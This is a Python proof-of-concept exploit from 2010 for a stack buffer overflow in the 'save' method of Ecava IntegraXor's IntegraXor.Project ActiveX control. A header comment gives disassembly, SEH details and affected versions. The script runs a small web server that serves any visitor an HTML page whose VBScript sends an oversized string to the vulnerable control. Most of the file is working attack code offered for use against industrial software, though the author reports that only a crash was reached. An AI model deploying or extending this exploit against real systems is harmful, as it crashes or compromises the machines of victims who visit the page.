#!/usr/bin/python # intx.py # Ecava IntegraXor Remote ActiveX Buffer Overflow PoC # Jeremy Brown # December 2010 # http://www.integraxor.com/ # # There is a stack-based buffer overflow in IntegraXor that can be triggered # by passing an overly large value to the "save" method of the IntegraXor.Project # control located in igcomm.dll. This control is marked both safe for scripting # and safe for initialization. # # .text:100027C1 push eax ; lpString2 # .text:100027C2 lea eax, [esp+84Ch+String1] # .text:100027C6 push eax ; lpString1 # .text:100027C7 call ds:lstrcpyW # .text:100027CD lea ecx, [esp+848h+String1] # .text:100027D1 push ecx # .text:100027D2 call SplitPath # .text:100027D7 add esp, 4 # .text:100027DA lea ecx, [esp+848h+var_83C] # .text:100027DE call ds:??0?$basic_string@_WU?$char<truncated> # .text:100027E4 cmp dword ptr [esi+20h], 8 # .text:100027E8 jb short loc_100027EF # .text:100027EA mov esi, [esi+0Ch] # .text:100027ED jmp short loc_100027F2 # # The vulnerable code in this block passes String1 (dest) and lpString2 (src) # to lstrcpyW() without validating the length of lpString2. lstrcpyW() then # copies lpString2 byte for byte into String1 (1024 bytes wchar buffer) and # adds a terminating NULL byte to the end. # # If you attach a debugger and set a breakpoint on 100027CD, you can see an # exception registration record is stored before the return address: # # ESP+83C > 00420042 B.B. Pointer to next SEH record # ESP+840 > 00420042 B.B. SE handler # ESP+844 > FFFF0000 ..�� # ESP+848 > 10007916 xxxx RETURN to igcom.10007916 from igcom.10002770 # # I wasn't able to find any useable unicode compatible PPRs. We can overwrite # the return address, but it will exit with a c0000409 code (/GS exception). # # Tested Ecava IntegraXor 3.5.3900.5 on Windows # # Fixed version: 3.5.3900.10 #
import sys import socket
resp=""" <html> <body> <object id="target" classid="clsid:{520F4CFD-61C6-4EED-8004-C26D514D3D19}"></object> <script language="vbscript">
data="IntegraXor" filepath=String(1038,"B")
target.save data,filepath
</script> </body> </html> """
port=80
try: sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.bind(("",port)) sock.listen(1) conn,addr=sock.accept()
except IOError,e: print e
print "Client at %s connected\n"%addr[0]
req=conn.recv(1024)
print "Sending data..." conn.send(resp) print "Done" conn.close()
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